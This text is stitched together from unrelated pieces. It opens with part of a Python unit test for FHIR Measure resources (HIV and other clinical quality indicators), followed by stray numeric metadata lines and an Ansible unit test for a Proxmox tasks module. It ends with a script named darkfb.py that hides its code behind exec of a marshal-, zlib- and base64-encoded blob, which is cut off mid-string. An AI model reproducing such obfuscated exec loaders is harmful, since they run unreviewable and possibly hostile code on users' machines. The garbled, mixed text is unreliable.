(ART) at 12 months after " "initiating" ) assert inst.group[3].population[0].criteria.language == "text/cql" assert inst.group[3].stratifier[0].component[0].code.coding[0].code == "AGE_GROUP" assert ( inst.group[3].stratifier[0].component[0].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[3].stratifier[0].component[0].criteria.expression == "Age Group" assert inst.group[3].stratifier[0].component[0].criteria.language == "text/cql" assert inst.group[3].stratifier[0].component[1].code.coding[0].code == "SEX" assert ( inst.group[3].stratifier[0].component[1].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[3].stratifier[0].component[1].criteria.expression == "Sex" assert inst.group[3].stratifier[0].component[1].criteria.language == "text/cql" assert inst.group[4].code.coding[0].code == "QRPH_ADX_ART5_N_PREG_BF" assert inst.group[4].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[4].description == ( "Number of adults and children who are still on treatment at " "12 months after initiating ART-pregnant and breastfeeding" ) assert inst.group[4].population[0].code.text == "cohort" assert inst.group[4].population[0].criteria.expression == ( "Receiving antiretroviral therapy (ART) at 12 months after " "initiating (pregnant and breastfeeding)" ) assert inst.group[4].population[0].criteria.language == "text/cql" assert inst.group[4].stratifier[0].code.coding[0].code == "PREG_BF" assert ( inst.group[4].stratifier[0].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[4].stratifier[0].criteria.expression == "Pregnant/Breastfeeding" assert inst.group[4].stratifier[0].criteria.language == "text/cql" assert inst.group[5].code.coding[0].code == "QRPH_ADX_ART5_D" assert inst.group[5].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[5].description == ( "Number of adults and children who initiated ART in the 12 " "months prior to the beginning of the reporting period" ) assert inst.group[5].population[0].code.text == "cohort" assert inst.group[5].population[0].criteria.expression == ( "Initiated antiretroviral therapy (ART) in the 12 months " "prior to measurement period" ) assert inst.group[5].population[0].criteria.language == "text/cql" assert inst.group[5].stratifier[0].code.coding[0].code == "AGE_GROUP:SEX" assert ( inst.group[5].stratifier[0].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[5].stratifier[0].criteria.expression == "Age Group/Sex" assert inst.group[5].stratifier[0].criteria.language == "text/cql" assert inst.group[6].code.coding[0].code == "QRPH_ADX_MTCT1_D" assert inst.group[6].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[6].description == ( "Number of pregnant women who attended ANC or had a facility-" "based delivery in the reporting period" ) assert inst.group[6].population[0].code.text == "cohort" assert inst.group[6].population[0].criteria.expression == ( "Antenatal Care Visit or Live Birth during the Measurement " "Period" ) assert inst.group[6].population[0].criteria.language == "text/cql" assert inst.group[6].stratifier[0].code.coding[0].code == "PMTCT_HIV_STATUS" assert ( inst.group[6].stratifier[0].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[6].stratifier[0].criteria.expression == "PMTCT HIV Status" assert inst.group[6].stratifier[0].criteria.language == "text/cql" assert inst.group[7].code.coding[0].code == "QRPH_ADX_MTCT2_D" assert inst.group[7].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[7].description == ( "Number of HIV positive pregnant women who attended ANC or " "had a facility-based delivery within the reporting period" ) assert inst.group[7].population[0].code.text == "cohort" assert inst.group[7].population[0].criteria.expression == ( "Antenatal Care Visit or Live Birth during Measurement Period" " (HIV Positive)" ) assert inst.group[7].population[0].criteria.language == "text/cql" assert inst.group[8].code.coding[0].code == "QRPH_ADX_MTCT2_N" assert inst.group[8].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[8].description == ( "Number of HIV-positive pregnant women who received ART to " "reduce the risk of mother-to-child-transmission during " "pregnancy" ) assert inst.group[8].population[0].code.text == "cohort" assert inst.group[8].population[0].criteria.expression == ( "HIV-positive, pregnant, and receiving antiretroviral therapy" " (ART) to reduce the risk of mother-to-child-transmission " "during pregnancy" ) assert inst.group[8].population[0].criteria.language == "text/cql" assert inst.group[8].stratifier[0].code.coding[0].code == "PMTCT_ART_STATUS" assert ( inst.group[8].stratifier[0].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[8].stratifier[0].criteria.expression == "PMTCT ART Status" assert inst.group[8].stratifier[0].criteria.language == "text/cql" assert inst.group[9].code.coding[0].code == "QRPH_ADX_VLS3_N" assert inst.group[9].code.coding[0].system == "http://ihe.net/qrph/adx/" assert inst.group[9].description == ( "Number of people living with HIV and on ART who have a " "suppressed viral load results (<1000 copies/mL)" ) assert inst.group[9].population[0].code.text == "cohort" assert inst.group[9].population[0].criteria.expression == ( "Living with HIV and on ART with suppressed viral load " "results (<1000 copies/mL)" ) assert inst.group[9].population[0].criteria.language == "text/cql" assert inst.group[9].stratifier[0].code.coding[0].code == "AGE_GROUP:SEX" assert ( inst.group[9].stratifier[0].code.coding[0].system == "http://ihe.net/qrph/adx/" ) assert inst.group[9].stratifier[0].criteria.expression == "Age Group/Sex" assert inst.group[9].stratifier[0].criteria.language == "text/cql" assert inst.id == "hiv-indicators" assert inst.identifier[0].system == "http://ohie.org/Measure/" assert inst.identifier[0].value == "hiv-indicators" assert inst.library[0] == "http://ohie.org/Library/hiv-indicators" assert inst.name == "HIV" assert inst.publisher == "Open HIE" assert inst.relatedArtifact[0].type == "derived-from" assert ( inst.relatedArtifact[0].url == "http://wiki.ihe.net/index.php/Aggregate_Data_Exchange_-_HIV" ) assert inst.scoring.coding[0].code == "cohort" assert inst.status == "draft" assert inst.text.status == "generated" assert inst.title == "HIV Indicators" assert inst.url == "http://ohie.org/Measure/hiv-indicators" assert inst.version == "0.0.0" def test_measure_3(base_settings): """No. 3 tests collection for Measure. Test File: measure-hiv-indicators.json """ filename = base_settings["unittest_data_dir"] / "measure-hiv-indicators.json" inst = measure.Measure.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Measure" == inst.resource_type impl_measure_3(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Measure" == data["resourceType"] inst2 = measure.Measure(**data) impl_measure_3(inst2) def impl_measure_4(inst): assert inst.compositeScoring.coding[0].code == "opportunity" assert inst.id == "composite-example" assert inst.meta.tag[0].code == "HTEST" assert inst.meta.tag[0].display == "test health data" assert ( inst.meta.tag[0].system == "http://terminology.hl7.org/CodeSystem/v3-ActReason" ) assert ( inst.relatedArtifact[0].resource == "http://example.org/fhir/Measure/component-a-example" ) assert inst.relatedArtifact[0].type == "composed-of" assert ( inst.relatedArtifact[1].resource == "http://example.org/fhir/Measure/component-b-example" ) assert inst.relatedArtifact[1].type == "composed-of" assert inst.scoring.coding[0].code == "proportion" assert inst.status == "draft" assert inst.text.status == "generated" assert inst.title == "Behavioral Assessment Composite Measure" def test_measure_4(base_settings): """No. 4 tests collection for Measure. Test File: measure-composite-example.json """ filename = base_settings["unittest_data_dir"] / "measure-composite-example.json" inst = measure.Measure.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Measure" == inst.resource_type impl_measure_4(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Measure" == data["resourceType"] inst2 = measure.Measure(**data) impl_measure_4(inst2) def impl_measure_5(inst): assert inst.date == fhirtypes.DateTime.validate("2014-03-08") assert inst.description == ( "Exclusive breastfeeding measure of outcomes for exclusive " "breastmilk feeding of newborns." ) assert inst.group[0].id == "PopulationGroup1" assert inst.group[0].population[0].code.coding[0].code == "initial-population" assert inst.group[0].population[0].criteria.expression == "InitialPopulation1" assert inst.group[0].population[0].criteria.language == "text/cql" assert inst.group[0].population[1].code.coding[0].code == "denominator" assert inst.group[0].population[1].criteria.expression == "Denominator1" assert inst.group[0].population[1].criteria.language == "text/cql" assert inst.group[0].population[2].code.coding[0].code == "denominator-exclusions" assert inst.group[0].population[2].criteria.expression == "DenominatorExclusions1" assert inst.group[0].population[2].criteria.language == "text/cql" assert inst.group[0].population[3].code.coding[0].code == "numerator" assert inst.group[0].population[3].criteria.expression == "Numerator1" assert inst.group[0].population[3].criteria.language == "text/cql" assert inst.group[1].id == "PopulationGroup2" assert inst.group[1].population[0].code.coding[0].code == "initial-population" assert inst.group[1].population[0].criteria.expression == "InitialPopulation2" assert inst.group[1].population[0].criteria.language == "text/cql" assert inst.group[1].population[1].code.coding[0].code == "denominator" assert inst.group[1].population[1].criteria.expression == "Denominator2" assert inst.group[1].population[1].criteria.language == "text/cql" assert inst.group[1].population[2].code.coding[0].code == "denominator-exclusion" assert inst.group[1].population[2].criteria.expression == "DenominatorExclusions2" assert inst.group[1].population[2].criteria.language == "text/cql" assert inst.group[1].population[3].code.coding[0].code == "numerator" assert inst.group[1].population[3].criteria.expression == "Numerator2" assert inst.group[1].population[3].criteria.language == "text/cql" assert inst.id == "measure-predecessor-example" assert inst.identifier[0].use == "official" assert inst.identifier[0].value == "exclusive-breastfeeding-measure" assert inst.improvementNotation.coding[0].code == "increase" assert inst.improvementNotation.coding[0].system == ( "http://terminology.hl7.org/CodeSystem/measure-improvement-" "notation" ) assert inst.library[0] == ( "http://example.org/fhir/Library/library-exclusive-" "breastfeeding-cqm-logic" ) assert inst.meta.tag[0].code == "HTEST" assert inst.meta.tag[0].display == "test health data" assert ( inst.meta.tag[0].system == "http://terminology.hl7.org/CodeSystem/v3-ActReason" ) assert inst.purpose == ( "Measure of newborns who were fed breast milk only since " "birth" ) assert inst.relatedArtifact[0].citation == ( "American Academy of Pediatrics. (2005). Section on " "Breastfeeding. Policy Statement:Breastfeeding and the Use of" " Human Milk. Pediatrics.115:496-506." ) assert inst.relatedArtifact[0].type == "documentation" assert inst.relatedArtifact[1].type == "documentation" assert inst.relatedArtifact[2].type == "documentation" assert inst.relatedArtifact[3].type == "documentation" assert inst.relatedArtifact[4].type == "documentation" assert inst.relatedArtifact[5].type == "documentation" assert inst.relatedArtifact[6].citation == ( "Kramer, M.S. & Kakuma, R. (2002).Optimal duration of " "exclusive breastfeeding. [107 refs] Cochrane Database of " "Systematic Reviews. (1):CD003517." ) assert inst.relatedArtifact[6].type == "documentation" assert inst.relatedArtifact[7].citation == ( "Petrova, A., Hegyi, T., & Mehta, R. (2007). Maternal " "race/ethnicity and one-month exclusive breastfeeding in " "association with the in-hospital feeding modality. " "Breastfeeding Medicine. 2(2):92-8." ) assert inst.relatedArtifact[7].type == "documentation" assert inst.relatedArtifact[8].type == "documentation" assert inst.relatedArtifact[9].type == "documentation" assert inst.scoring.coding[0].code == "proportion" assert inst.status == "active" assert inst.text.status == "generated" assert inst.title == "Exclusive Breastfeeding Measure" assert inst.topic[0].text == "Exclusive Breastfeeding" assert inst.type[0].coding[0].code == "process" assert inst.version == "4.5.0" def test_measure_5(base_settings): """No. 5 tests collection for Measure. Test File: measure-predecessor-example.json """ filename = base_settings["unittest_data_dir"] / "measure-predecessor-example.json" inst = measure.Measure.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Measure" == inst.resource_type impl_measure_5(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Measure" == data["resourceType"] inst2 = measure.Measure(**data) impl_measure_5(inst2) def impl_measure_6(inst): assert inst.approvalDate == fhirtypes.Date.validate("2016-01-01") assert inst.author[0].name == "National Committee for Quality Assurance" assert inst.contact[0].telecom[0].system == "url" assert inst.contact[0].telecom[0].value == "http://www.ncqa.org/" assert inst.date == fhirtypes.DateTime.validate("2017-03-10") assert inst.description == ( "Percentage of children 3-18 years of age who were diagnosed " "with pharyngitis, ordered an antibiotic and received a group" " A streptococcus (strep) test for the episode." ) assert inst.effectivePeriod.end == fhirtypes.DateTime.validate("2017-12-31") assert inst.effectivePeriod.start == fhirtypes.DateTime.validate("2017-01-01") assert inst.experimental is True assert inst.group[0].id == "CMS146-group-1" assert inst.group[0].population[0].code.coding[0].code == "initial-population" assert ( inst.group[0].population[0].code.coding[0].system == "http://terminology.hl7.org/CodeSystem/measure-population" ) assert inst.group[0].population[0].criteria.expression == "CMS146.InitialPopulation" assert inst.group[0].population[0].criteria.language == "text/cql" assert inst.group[0].population[1].code.coding[0].code == "numerator" assert ( inst.group[0].population[1].code.coding[0].system == "http://terminology.hl7.org/CodeSystem/measure-population" ) assert inst.group[0].population[1].criteria.expression == "CMS146.Numerator" assert inst.group[0].population[1].criteria.language == "text/cql" assert inst.group[0].population[2].code.coding[0].code == "denominator" assert ( inst.group[0].population[2].code.coding[0].system == "http://terminology.hl7.org/CodeSystem/measure-population" ) assert inst.group[0].population[2].criteria.expression == "CMS146.Denominator" assert inst.group[0].population[2].criteria.language == "text/cql" assert inst.group[0].population[3].code.coding[0].code == "denominator-exclusion" assert ( inst.group[0].population[3].code.coding[0].system == "http://terminology.hl7.org/CodeSystem/measure-population" ) assert ( inst.group[0].population[3].criteria.expression == "CMS146.DenominatorExclusion" ) assert inst.group[0].population[3].criteria.language == "text/cql" assert inst.group[0].stratifier[0].code.text == "stratifier-ages-up-to-9" assert inst.group[0].stratifier[0].criteria.expression == "CMS146.AgesUpToNine" assert inst.group[0].stratifier[0].criteria.language == "text/cql" assert inst.group[0].stratifier[1].code.text == "stratifier-ages-10-plus" assert inst.group[0].stratifier[1].criteria.expression == "CMS146.AgesTenPlus" assert inst.group[0].stratifier[1].criteria.language == "text/cql" assert inst.group[0].stratifier[2].code.text == "stratifier-gender" assert inst.group[0].stratifier[2].criteria.expression == "Patient.gender" assert inst.group[0].stratifier[2].criteria.language == "text/fhirpath" assert inst.guidance == ( "This is an episode of care measure that examines all " "eligible episodes for the patient during the measurement " "period. If the patient has more than one episode, include " "all episodes in the measure" ) assert inst.id == "measure-cms146-example" assert ( inst.identifier[0].system == "http://hl7.org/fhir/cqi/ecqm/Measure/Identifier/cms" ) assert inst.identifier[0].use == "official" assert inst.identifier[0].value == "146" assert ( inst.identifier[1].system == "http://hl7.org/fhir/cqi/ecqm/Measure/Identifier/nqf" ) assert inst.identifier[1].use == "official" assert inst.identifier[1].value == "0002" assert inst.improvementNotation.coding[0].code == "increase" assert inst.improvementNotation.coding[0].system == ( "http://terminology.hl7.org/CodeSystem/measure-improvement-" "notation" ) assert inst.jurisdiction[0].coding[0].code == "US" assert inst.jurisdiction[0].coding[0].system == "urn:iso:std:iso:3166" assert inst.lastReviewDate == fhirtypes.Date.validate("2016-09-01") assert inst.library[0] == "http://hl7.org/fhir/Library/library-cms146-example" assert inst.name == "CMS146" assert inst.publisher == "National Committee for Quality Assurance" assert inst.purpose == ( "Measure of children with a group A streptococcus test in the" " 7-day period from 3 days prior through 3 days after the " "diagnosis of pharyngitis" ) assert inst.relatedArtifact[0].citation == ( "Linder, J.A., D.W. Bates, G.M. Lee, J.A. Finkelstein. 2005. " "_Antibiotic treatment of children with sore throat._ JAMA " "294(18):2315-2322. " ) assert inst.relatedArtifact[0].type == "documentation" assert inst.relatedArtifact[1].citation == ( "Infectious Diseases Society of America. 2012. _Clinical " "Practice Guideline for the Diagnosis and Management of Group" " A Streptococcal Pharyngitis: 2012 Update._ " ) assert inst.relatedArtifact[1].type == "documentation" assert inst.relatedArtifact[2].type == "documentation" assert inst.scoring.coding[0].code == "proportion" assert ( inst.scoring.coding[0].system == "http://terminology.hl7.org/CodeSystem/measure-scoring" ) assert inst.status == "active" assert inst.supplementalData[0].code.text == "supplemental-data-gender" assert inst.supplementalData[0].criteria.expression == "Patient.gender" assert inst.supplementalData[0].criteria.language == "text/fhirpath" assert inst.supplementalData[1].code.text == "supplemental-data-deceased" assert inst.supplementalData[1].criteria.expression == "deceasedBoolean" assert inst.supplementalData[1].criteria.language == "text/fhirpath" assert inst.text.status == "additional" assert inst.title == "Appropriate Testing for Children with Pharyngitis" assert inst.topic[0].coding[0].code == "57024-2" assert inst.topic[0].coding[0].system == "http://loinc.org" assert inst.type[0].coding[0].code == "process" assert ( inst.type[0].coding[0].system == "http://terminology.hl7.org/CodeSystem/measure-type" ) assert inst.url == "http://hl7.org/fhir/Measure/measure-cms146-example" assert inst.useContext[0].code.code == "program" assert ( inst.useContext[0].code.system == "http://terminology.hl7.org/CodeSystem/usage-context-type" ) assert inst.useContext[0].valueCodeableConcept.text == "eligibile-provider" assert inst.useContext[1].code.code == "age" assert ( inst.useContext[1].code.system == "http://terminology.hl7.org/CodeSystem/usage-context-type" ) assert inst.useContext[1].valueRange.high.unit == "a" assert float(inst.useContext[1].valueRange.high.value) == float(18) assert inst.useContext[1].valueRange.low.unit == "a" assert float(inst.useContext[1].valueRange.low.value) == float(3) assert inst.version == "1.0.0" def test_measure_6(base_settings): """No. 6 tests collection for Measure. Test File: measure-cms146-example.json """ filename = base_settings["unittest_data_dir"] / "measure-cms146-example.json" inst = measure.Measure.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Measure" == inst.resource_type impl_measure_6(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Measure" == data["resourceType"] inst2 = measure.Measure(**data) impl_measure_6(inst2) def impl_measure_7(inst): assert inst.group[0].id == "Main" assert inst.group[0].population[0].code.coding[0].code == "initial-population" assert inst.group[0].population[0].criteria.expression == "Initial Population" assert inst.group[0].population[0].criteria.language == "text/cql" assert inst.group[0].population[1].code.coding[0].code == "denominator" assert inst.group[0].population[1].criteria.expression == "Denominator" assert inst.group[0].population[1].criteria.language == "text/cql" assert inst.group[0].population[2].code.coding[0].code == "numerator" assert inst.group[0].population[2].criteria.expression == "Numerator" assert inst.group[0].population[2].criteria.language == "text/cql" assert inst.id == "component-b-example" assert inst.meta.tag[0].code == "HTEST" assert inst.meta.tag[0].display == "test health data" assert ( inst.meta.tag[0].system == "http://terminology.hl7.org/CodeSystem/v3-ActReason" ) assert inst.scoring.coding[0].code == "proportion" assert inst.status == "draft" assert inst.text.status == "generated" assert inst.title == "Screening for Depression" def test_measure_7(base_settings): """No. 7 tests collection for Measure. Test File: measure-component-b-example.json """ filename = base_settings["unittest_data_dir"] / "measure-component-b-example.json" inst = measure.Measure.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Measure" == inst.resource_type impl_measure_7(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Measure" == data["resourceType"] inst2 = measure.Measure(**data) impl_measure_7(inst2)
47.545205
88
0.681889
4,478
34,708
5.249665
0.095578
0.152289
0.123788
0.055811
0.869364
0.839799
0.805896
0.753403
0.706611
0.637315
0
0.033239
0.167858
34,708
729
89
47.610425
0.780694
0.034488
0
0.444099
0
0.001553
0.298449
0.029465
0
0
0
0
0.580745
1
0.021739
false
0
0.004658
0
0.026398
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
3d36492c609f5de4fe587fcc0ac04ff83a893056
7,091
py
Python
venv/lib/python3.6/site-packages/ansible_collections/community/general/tests/unit/plugins/modules/cloud/misc/test_proxmox_tasks_info.py
usegalaxy-no/usegalaxy
75dad095769fe918eb39677f2c887e681a747f3a
[ "MIT" ]
22
2021-07-16T08:11:22.000Z
2022-03-31T07:15:34.000Z
venv/lib/python3.6/site-packages/ansible_collections/community/general/tests/unit/plugins/modules/cloud/misc/test_proxmox_tasks_info.py
usegalaxy-no/usegalaxy
75dad095769fe918eb39677f2c887e681a747f3a
[ "MIT" ]
12
2020-02-21T07:24:52.000Z
2020-04-14T09:54:32.000Z
venv/lib/python3.6/site-packages/ansible_collections/community/general/tests/unit/plugins/modules/cloud/misc/test_proxmox_tasks_info.py
usegalaxy-no/usegalaxy
75dad095769fe918eb39677f2c887e681a747f3a
[ "MIT" ]
39
2021-07-05T02:31:42.000Z
2022-03-31T02:46:03.000Z
# -*- coding: utf-8 -*- # Copyright: (c) 2021, Andreas Botzner (@paginabianca) <andreas at botzner dot com> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # # Proxmox Tasks module unit tests. # The API responses used in these tests were recorded from PVE version 6.4-8 from __future__ import (absolute_import, division, print_function) __metaclass__ = type import pytest import json from ansible_collections.community.general.plugins.modules.cloud.misc import proxmox_tasks_info from ansible_collections.community.general.plugins.module_utils.proxmox import ProxmoxAnsible from ansible_collections.community.general.tests.unit.compat.mock import MagicMock, patch from ansible_collections.community.general.tests.unit.plugins.modules.utils import ( AnsibleExitJson, AnsibleFailJson, ModuleTestCase, set_module_args ) from ansible_collections.community.general.tests.unit.plugins.modules.utils import set_module_args from ansible_collections.community.general.plugins.module_utils import proxmox NODE = 'node01' TASK_UPID = 'UPID:iaclab-01-01:000029DD:1599528B:6108F068:srvreload:networking:root@pam:' TASKS = [ { "endtime": 1629092710, "id": "networking", "node": "iaclab-01-01", "pid": 3539, "pstart": 474062216, "starttime": 1629092709, "status": "OK", "type": "srvreload", "upid": "UPID:iaclab-01-01:00000DD3:1C419D88:6119FB65:srvreload:networking:root@pam:", "user": "root@pam" }, { "endtime": 1627975785, "id": "networking", "node": "iaclab-01-01", "pid": 10717, "pstart": 362369675, "starttime": 1627975784, "status": "command 'ifreload -a' failed: exit code 1", "type": "srvreload", "upid": "UPID:iaclab-01-01:000029DD:1599528B:6108F068:srvreload:networking:root@pam:", "user": "root@pam" }, { "endtime": 1627975503, "id": "networking", "node": "iaclab-01-01", "pid": 6778, "pstart": 362341540, "starttime": 1627975503, "status": "OK", "type": "srvreload", "upid": "UPID:iaclab-01-01:00001A7A:1598E4A4:6108EF4F:srvreload:networking:root@pam:", "user": "root@pam" } ] EXPECTED_TASKS = [ { "endtime": 1629092710, "id": "networking", "node": "iaclab-01-01", "pid": 3539, "pstart": 474062216, "starttime": 1629092709, "status": "OK", "type": "srvreload", "upid": "UPID:iaclab-01-01:00000DD3:1C419D88:6119FB65:srvreload:networking:root@pam:", "user": "root@pam", "failed": False }, { "endtime": 1627975785, "id": "networking", "node": "iaclab-01-01", "pid": 10717, "pstart": 362369675, "starttime": 1627975784, "status": "command 'ifreload -a' failed: exit code 1", "type": "srvreload", "upid": "UPID:iaclab-01-01:000029DD:1599528B:6108F068:srvreload:networking:root@pam:", "user": "root@pam", "failed": True }, { "endtime": 1627975503, "id": "networking", "node": "iaclab-01-01", "pid": 6778, "pstart": 362341540, "starttime": 1627975503, "status": "OK", "type": "srvreload", "upid": "UPID:iaclab-01-01:00001A7A:1598E4A4:6108EF4F:srvreload:networking:root@pam:", "user": "root@pam", "failed": False } ] EXPECTED_SINGLE_TASK = [ { "endtime": 1627975785, "id": "networking", "node": "iaclab-01-01", "pid": 10717, "pstart": 362369675, "starttime": 1627975784, "status": "command 'ifreload -a' failed: exit code 1", "type": "srvreload", "upid": "UPID:iaclab-01-01:000029DD:1599528B:6108F068:srvreload:networking:root@pam:", "user": "root@pam", "failed": True }, ] @patch('ansible_collections.community.general.plugins.module_utils.proxmox.ProxmoxAnsible._connect') def test_without_required_parameters(connect_mock, capfd, mocker): set_module_args({}) with pytest.raises(SystemExit): proxmox_tasks_info.main() out, err = capfd.readouterr() assert not err assert json.loads(out)['failed'] @patch('ansible_collections.community.general.plugins.module_utils.proxmox.ProxmoxAnsible._connect') def test_get_tasks(connect_mock, capfd, mocker): set_module_args({'api_host': 'proxmoxhost', 'api_user': 'root@pam', 'api_password': 'supersecret', 'node': NODE}) def f(): m = mocker.MagicMock() g = mocker.MagicMock() m.nodes = mocker.MagicMock(return_value=g) g.tasks.get = mocker.MagicMock(return_value=TASKS) return m connect_mock.side_effect = f proxmox_tasks_info.HAS_PROXMOXER = True with pytest.raises(SystemExit): proxmox_tasks_info.main() out, err = capfd.readouterr() assert not err assert len(json.loads(out)['proxmox_tasks']) != 0 assert not json.loads(out)['changed'] @patch('ansible_collections.community.general.plugins.module_utils.proxmox.ProxmoxAnsible._connect') def test_get_single_task(connect_mock, capfd, mocker): set_module_args({'api_host': 'proxmoxhost', 'api_user': 'root@pam', 'api_password': 'supersecret', 'node': NODE, 'task': TASK_UPID}) def f(): m = mocker.MagicMock() g = mocker.MagicMock() m.nodes = mocker.MagicMock(return_value=g) g.tasks.get = mocker.MagicMock(return_value=TASKS) return m connect_mock.side_effect = f proxmox_tasks_info.HAS_PROXMOXER = True with pytest.raises(SystemExit): proxmox_tasks_info.main() out, err = capfd.readouterr() assert not err assert len(json.loads(out)['proxmox_tasks']) == 1 assert json.loads(out) assert not json.loads(out)['changed'] @patch('ansible_collections.community.general.plugins.module_utils.proxmox.ProxmoxAnsible._connect') def test_get_non_existent_task(connect_mock, capfd, mocker): set_module_args({'api_host': 'proxmoxhost', 'api_user': 'root@pam', 'api_password': 'supersecret', 'node': NODE, 'task': 'UPID:nonexistent'}) def f(): m = mocker.MagicMock() g = mocker.MagicMock() m.nodes = mocker.MagicMock(return_value=g) g.tasks.get = mocker.MagicMock(return_value=TASKS) return m connect_mock.side_effect = f proxmox_tasks_info.HAS_PROXMOXER = True with pytest.raises(SystemExit): proxmox_tasks_info.main() out, err = capfd.readouterr() assert not err assert json.loads(out)['failed'] assert 'proxmox_tasks' not in json.loads(out) assert not json.loads(out)['changed'] assert json.loads( out)['msg'] == 'Task: UPID:nonexistent does not exist on node: node01.'
33.606635
100
0.62262
793
7,091
5.433796
0.209332
0.029241
0.034811
0.078905
0.846136
0.846136
0.835693
0.816663
0.783012
0.765839
0
0.086079
0.238189
7,091
210
101
33.766667
0.711588
0.042589
0
0.736264
0
0.043956
0.306104
0.141551
0
0
0
0
0.076923
1
0.038462
false
0.016484
0.049451
0
0.104396
0.005495
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e9f8ab8264275aac63c0fa1690a0834c8d736cf8
26,530
py
Python
darkfb.py
belajarhacker/darkfb
a56265283ca52e7adb0537e44ca6d0e163ac4be5
[ "Apache-2.0" ]
null
null
null
darkfb.py
belajarhacker/darkfb
a56265283ca52e7adb0537e44ca6d0e163ac4be5
[ "Apache-2.0" ]
null
null
null
darkfb.py
belajarhacker/darkfb
a56265283ca52e7adb0537e44ca6d0e163ac4be5
[ "Apache-2.0" ]
1
2020-06-04T14:20:15.000Z
2020-06-04T14:20:15.000Z
# Compile by Anbia Nuansyah # Created by SANSBAE (https://github.com/SansBae) # Instagram : @sansbae25 import marshal,zlib,base64 exec(marshal.loads(zlib.decompress(base64.b64decode("eJztvQl4HNl5GPiq0Q2gG/dN8CxyhiCGJO6L5AzIAQkOyeHpBofgcES3qrsKQAF9sauaBEagD41iS3bWluIZSVGkyHYUxd448rmy4lWS1e76s/N9ibz2WruJI2clyl5v1uvESWwndhwr//+/9+rorm40MCRnvB4er1+9ene991/v//+XYuJPGP6/CP+tYh1jOvxTWJqxO05cYXcUGQ+xOyEZr2N36mQ8zO6EZTzC7kRkvJ7dqZfxBnanQcYb2Z1GGY+yO1EZj7E7MRlvYneaZLyZ3WmmeIilW1imld1pZQo+17F0G8u0szvt/DmMeTMd7E4HU4xOZijsDQViClvtYnqEPzSz1Q72BgyxmxndbLWHGb38BTz0MXy9i632Yw4dOt8A7xRFv8CWFcye2M30GPsQlN7D9CaK7GV6M0X2Mb2FIvuZDl08wPQ2elSZ3s60g2wZ4ocw1J6h8FkKD1P6AIVHmA59H2R6J7vzHNO7qPhRpndT5BjTeyhynOm9FBlieh9Fhpm+iyIjTO+nyCjTd1NkjOl7KDLO9L0UmWD6PopMMn0/RaaYfoAi00xXKTLD9IMUOcH0QxQ5yfRnKHKK6c9S5HmmH6bIC0wfoMgs049Q5DTTBylyhunPUeRFph+lyBzTj1HkLNOPU+Qc04coMs/0YYqcZ/oIRV5i+ihFLjB9jCIXmT5OkUtMn6DIy0yfpMhlpk9R5ArTpylylekzFLnG9BMUuc70kxS5wfRTFPkOpj9PkTjTX6DIAtNnKXKT6acp8grTz1DkFtNfpMgi0+cocpvpZynyKtPPUeQO0+cp8hoz3sf08+xDsIXuMuM7mf4SWwuxwr064yguLyVLq3th8CJsP/Pb8OfaoAJROwbBzZWCoek3crk0T2uD4FwumzVStpnLni8UcgX+ogGCs4XcA8so2LiXi/bSCbsRIhltPWGbGcPEbBbW+QrkGZpbNrK2FYfH63mjoI2cHD4xqg7OZfVCztSfVylRvWpmzZGJ8eHR4fHxqcmRE1PD6ivPq6b+nHqjYFh2bmR8eGx8eHJ8Qr1lFCzo0Ag8jk2nJFDBJs9hs72Mxnjhos3YKmzDEA0cturCYAheXaMMe14be/7kdOa1g3dVio5lzq+b9mAdDg9z5Swb49aGRSM08CW24gYWZtOX7Xr4WTPSRa3Qialh6ktESSkC0DXKfi3wfj1UEKY8DLH1U2yTsfm74+xhHdsMIWTZVBjvNEAV6MYmwRIAIrveCLH+vs061jcDBe91sUWbiryBnxI7cI2+SWZlLZlP3bCxCza2f9DEKH2NQewLdbagZfVchgpg1MzaNNQ0fKMI/KYMW1vjubHcOoUPKNQpNMvnAHNrKW2tT352ptTD3xZl1J2HBjkP3+XMw/ocDnH+7kmcDoitMjEonBA+DyFM6YWpgemAScEpgPe9MB8PGbvXwhYhH0zQDDyJEvUEdek9jGs1zFYj+AqgKpbk6wC/ybV4FHuDQz942LIaaFEctp4fy5gH5Ifc89pohsZ4cNTCccRosmmazKxurPNJNPJpDWaN1otdiNfLibZsPVe0KfeDgmkbNKnxdgw6MOiSc7xaNqNx3HvUjVYxmy1KmzKoxJROPqOYrU7OKAbrL9AoFdY3f3cUJ9dZ/XwVKeK5jnaDTdOi02Qr95rYIk1LHW0PGujyp/4m/vnJMzRiGlN8Fwb9cgKW0kVrhb487nhKstKGkadNRsN6nUKjfLlg3lUtrWWfw8RGGmGH0g5jtN6Ad2qMtuRM5tHHP1zpny/Lh8reY4pKf8RGf/SJH3708Z+q9O8b//Bjf/jZN38Wfipm+sQPe5oUIOPRx7/s/aeKDENqQh0aSgwN0fN45tFbbz566/OP3vrEozf/+qM3v+fRmx999OZPeSKYCD2lbB/FbBj5hHcWZM3yN4G1q0PUTEK0AuU/hv/e/DRV/TmKQO2fpM